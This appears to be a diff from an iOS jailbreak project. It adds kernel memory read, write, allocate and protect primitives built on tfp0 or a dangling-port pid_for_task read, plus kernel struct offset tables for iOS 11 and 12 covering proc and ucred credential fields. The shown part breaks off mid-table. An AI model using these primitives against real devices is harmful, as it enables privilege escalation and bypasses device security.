if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
|
||||
return false;
|
||||
}
|
||||
|
||||
return (kwrite(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
bool rkbuffer(kptr_t kaddr, void* buffer, size_t length)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return (kread(kaddr, buffer, length) == length);
|
||||
}
|
||||
|
||||
bool WriteKernel32(kptr_t kaddr, uint32_t val)
|
||||
{
|
||||
return wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
bool WriteKernel64(kptr_t kaddr, uint64_t val)
|
||||
{
|
||||
return wkbuffer(kaddr, &val, sizeof(val));
|
||||
}
|
||||
|
||||
uint32_t rk32_via_kmem_read_port(kptr_t kaddr)
|
||||
{
|
||||
kern_return_t err;
|
||||
if (kmem_read_port == MACH_PORT_NULL) {
|
||||
LOG("kmem_read_port not set, have you called prepare_rk?");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
|
||||
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// now do the read:
|
||||
uint32_t val = 0;
|
||||
err = pid_for_task(kmem_read_port, (int*)&val);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32_via_tfp0(kptr_t kaddr)
|
||||
{
|
||||
uint32_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_kmem_read_port(kptr_t kaddr)
|
||||
{
|
||||
uint64_t lower = rk32_via_kmem_read_port(kaddr);
|
||||
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
|
||||
uint64_t full = ((higher << 32) | lower);
|
||||
return full;
|
||||
}
|
||||
|
||||
uint64_t rk64_via_tfp0(kptr_t kaddr)
|
||||
{
|
||||
uint64_t val = 0;
|
||||
rkbuffer(kaddr, &val, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t ReadKernel32(kptr_t kaddr)
|
||||
{
|
||||
if (MACH_PORT_VALID(tfp0)) {
|
||||
return rk32_via_tfp0(kaddr);
|
||||
} else if (MACH_PORT_VALID(kmem_read_port)) {
|
||||
return rk32_via_kmem_read_port(kaddr);
|
||||
} else {
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t ReadKernel64(kptr_t kaddr)
|
||||
{
|
||||
if (MACH_PORT_VALID(tfp0)) {
|
||||
return rk64_via_tfp0(kaddr);
|
||||
} else if (MACH_PORT_VALID(kmem_read_port)) {
|
||||
return rk64_via_kmem_read_port(kaddr);
|
||||
} else {
|
||||
LOG("attempt to read kernel memory but no kernel memory read primitives available");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
|
||||
{
|
||||
if (KERN_POINTER_VALID(dest)) {
|
||||
// copy to kernel
|
||||
wkbuffer(dest, (void*)src, length);
|
||||
} else {
|
||||
// copy from kernel
|
||||
rkbuffer(src, (void*)dest, length);
|
||||
}
|
||||
}
|
||||
|
||||
kptr_t kmem_alloc(uint64_t size)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
kptr_t kmem_alloc_wired(uint64_t size)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return 0;
|
||||
}
|
||||
|
||||
addr += 0x3fff;
|
||||
addr &= ~0x3fffull;
|
||||
|
||||
host_t host = mach_host_self();
|
||||
err = mach_vm_wire(host, tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
host = HOST_NULL;
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return 0;
|
||||
}
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
bool kmem_free(kptr_t kaddr, uint64_t size)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
|
||||
return false;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_deallocate(tfp0, kaddr, ksize);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool kmem_protect(kptr_t kaddr, uint32_t size, vm_prot_t prot)
|
||||
{
|
||||
if (!MACH_PORT_VALID(tfp0)) {
|
||||
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
|
||||
return false;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
#ifndef KernelMemory_h
|
||||
#define KernelMemory_h
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdbool.h>
|
||||
#include <common.h>
|
||||
|
||||
/***** mach_vm.h *****/
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t* data,
|
||||
mach_msg_type_number_t* dataCnt);
|
||||
|
||||
kern_return_t mach_vm_write(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt);
|
||||
|
||||
kern_return_t mach_vm_read_overwrite(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t* outsize);
|
||||
|
||||
kern_return_t mach_vm_allocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t* address,
|
||||
mach_vm_size_t size,
|
||||
int flags);
|
||||
|
||||
kern_return_t mach_vm_deallocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
kern_return_t mach_vm_protect(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
boolean_t set_maximum,
|
||||
vm_prot_t new_protection);
|
||||
|
||||
kern_return_t mach_vm_remap(
|
||||
mach_port_name_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_offset_t mask,
|
||||
int flags,
|
||||
mach_port_name_t src_task,
|
||||
mach_vm_address_t src_address,
|
||||
boolean_t copy,
|
||||
vm_prot_t *cur_protection,
|
||||
vm_prot_t *max_protection,
|
||||
vm_inherit_t inheritance);
|
||||
|
||||
extern size_t kreads;
|
||||
extern size_t kwrites;
|
||||
extern mach_port_t tfp0;
|
||||
|
||||
size_t kread(kptr_t where, void* p, size_t size);
|
||||
size_t kwrite(kptr_t where, const void* p, size_t size);
|
||||
|
||||
#define rk32(kaddr) ReadKernel32(kaddr)
|
||||
#define rk64(kaddr) ReadKernel64(kaddr)
|
||||
uint32_t ReadKernel32(kptr_t kaddr);
|
||||
uint64_t ReadKernel64(kptr_t kaddr);
|
||||
|
||||
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
|
||||
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
|
||||
bool WriteKernel32(kptr_t kaddr, uint32_t val);
|
||||
bool WriteKernel64(kptr_t kaddr, uint64_t val);
|
||||
|
||||
bool wkbuffer(kptr_t kaddr, void* buffer, size_t length);
|
||||
bool rkbuffer(kptr_t kaddr, void* buffer, size_t length);
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
|
||||
|
||||
bool kmem_protect(kptr_t kaddr, uint32_t size, vm_prot_t prot);
|
||||
|
||||
kptr_t kmem_alloc(uint64_t size);
|
||||
kptr_t kmem_alloc_wired(uint64_t size);
|
||||
bool kmem_free(kptr_t kaddr, uint64_t size);
|
||||
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port);
|
||||
void prepare_rwk_via_tfp0(mach_port_t port);
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
|
||||
|
||||
// query whether kmem read or write is present
|
||||
bool have_kmem_read(void);
|
||||
bool have_kmem_write(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,124 @@
|
||||
#ifndef KernelOffsets_h
|
||||
#define KernelOffsets_h
|
||||
|
||||
extern uint32_t* offsets;
|
||||
|
||||
enum kernel_offset {
|
||||
/* struct task */
|
||||
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
KSTRUCT_OFFSET_TASK_NEXT,
|
||||
KSTRUCT_OFFSET_TASK_PREV,
|
||||
KSTRUCT_OFFSET_TASK_ITK_SPACE,
|
||||
KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
|
||||
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
|
||||
KSTRUCT_OFFSET_TASK_TFLAGS,
|
||||
KSTRUCT_OFFSET_TASK_LOCK,
|
||||
|
||||
/* struct ipc_port */
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
/* struct proc */
|
||||
KSTRUCT_OFFSET_PROC_PID,
|
||||
KSTRUCT_OFFSET_PROC_P_FD,
|
||||
KSTRUCT_OFFSET_PROC_TASK,
|
||||
KSTRUCT_OFFSET_PROC_UCRED,
|
||||
KSTRUCT_OFFSET_PROC_P_LIST,
|
||||
KSTRUCT_OFFSET_PROC_P_CSFLAGS,
|
||||
KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE,
|
||||
KSTRUCT_OFFSET_PROC_MLOCK,
|
||||
KSTRUCT_OFFSET_PROC_UCRED_MLOCK,
|
||||
KSTRUCT_OFFSET_PROC_SVUID,
|
||||
KSTRUCT_OFFSET_PROC_SVGID,
|
||||
|
||||
/* struct filedesc */
|
||||
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
|
||||
|
||||
/* struct fileproc */
|
||||
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
|
||||
|
||||
/* struct fileglob */
|
||||
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
|
||||
|
||||
/* struct socket */
|
||||
KSTRUCT_OFFSET_SOCKET_SO_PCB,
|
||||
|
||||
/* struct pipe */
|
||||
KSTRUCT_OFFSET_PIPE_BUFFER,
|
||||
|
||||
/* struct ipc_space */
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
|
||||
|
||||
/* struct vnode */
|
||||
KSTRUCT_OFFSET_VNODE_V_MOUNT,
|
||||
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
|
||||
KSTRUCT_OFFSET_VNODE_V_LOCK,
|
||||
KSTRUCT_OFFSET_VNODE_V_DATA,
|
||||
|
||||
/* struct specinfo */
|
||||
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
|
||||
|
||||
/* struct mount */
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_DATA,
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_MLOCK,
|
||||
|
||||
/* struct host */
|
||||
KSTRUCT_OFFSET_HOST_SPECIAL,
|
||||
|
||||
/* struct ucred */
|
||||
KSTRUCT_OFFSET_UCRED_CR_UID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_RUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_SVUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_NGROUPS,
|
||||
KSTRUCT_OFFSET_UCRED_CR_GROUPS,
|
||||
KSTRUCT_OFFSET_UCRED_CR_RGID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_SVGID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_GMUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_FLAGS,
|
||||
KSTRUCT_OFFSET_UCRED_CR_LABEL,
|
||||
|
||||
/* struct label */
|
||||
KSTRUCT_OFFSET_LABEL_L_FLAGS,
|
||||
KSTRUCT_OFFSET_LABEL_L_PERPOLICY,
|
||||
|
||||
/* struct ipc_entry */
|
||||
KSTRUCT_SIZE_IPC_ENTRY,
|
||||
KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS,
|
||||
|
||||
/* vtable OSDictionary */
|
||||
KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP,
|
||||
KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP,
|
||||
KVTABLE_OFFSET_OSDICTIONARY_MERGE,
|
||||
|
||||
/* vtable OSArray */
|
||||
KVTABLE_OFFSET_OSARRAY_MERGE,
|
||||
KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT,
|
||||
KVTABLE_OFFSET_OSARRAY_GETOBJECT,
|
||||
|
||||
/* vtable OSObject */
|
||||
KVTABLE_OFFSET_OSOBJECT_RELEASE,
|
||||
KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT,
|
||||
KVTABLE_OFFSET_OSOBJECT_RETAIN,
|
||||
|
||||
/* vtable OSString */
|
||||
KVTABLE_OFFSET_OSSTRING_GETLENGTH,
|
||||
|
||||
KFREE_ADDR_OFFSET,
|
||||
};
|
||||
|
||||
uint32_t koffset(enum kernel_offset offset);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,342 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "KernelOffsets.h"
|
||||
#include <common.h>
|
||||
#include "utils.h"
|
||||
|
||||
uint32_t* offsets = NULL;
|
||||
|
||||
uint32_t kernel_offsets_11_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
0x0, // KSTRUCT_OFFSET_TASK_LOCK
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
0x2a8, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
|
||||
0x410, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
|
||||
0x58, // KSTRUCT_OFFSET_PROC_MLOCK
|
||||
0xf0, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
|
||||
0x40, // KSTRUCT_OFFSET_PROC_SVUID
|
||||
0x44, // KSTRUCT_OFFSET_PROC_SVGID
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
|
||||
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
|
||||
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
|
||||
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
|
||||
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
|
||||
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
|
||||
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
|
||||
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
|
||||
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
|
||||
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
|
||||
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
|
||||
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
|
||||
|
||||
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
|
||||
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
|
||||
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
|
||||
|
||||
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
uint32_t kernel_offsets_11_3[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
0x0, // KSTRUCT_OFFSET_TASK_LOCK
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
0x2a8, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
|
||||
0x410, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
|
||||
0x58, // KSTRUCT_OFFSET_PROC_MLOCK
|
||||
0xf0, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
|
||||
0x40, // KSTRUCT_OFFSET_PROC_SVUID
|
||||
0x44, // KSTRUCT_OFFSET_PROC_SVGID
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
|
||||
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
|
||||
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
|
||||
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
|
||||
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
|
||||
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
|
||||
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
|
||||
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
|
||||
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
|
||||
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
|
||||
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
|
||||
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
|
||||
|
||||
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
|
||||
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
|
||||
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
|
||||
|
||||
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
uint32_t kernel_offsets_12_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV
|
||||
0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
#if __arm64e__
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
#else
|
||||
0x358, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
#endif
|
||||
#if __arm64e__
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
#else
|
||||
0x398, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
#endif
|
||||
#if __arm64e__
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
#else
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
#endif
|
||||
#if __arm64e__
|
||||
0x400, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
#else
|
||||
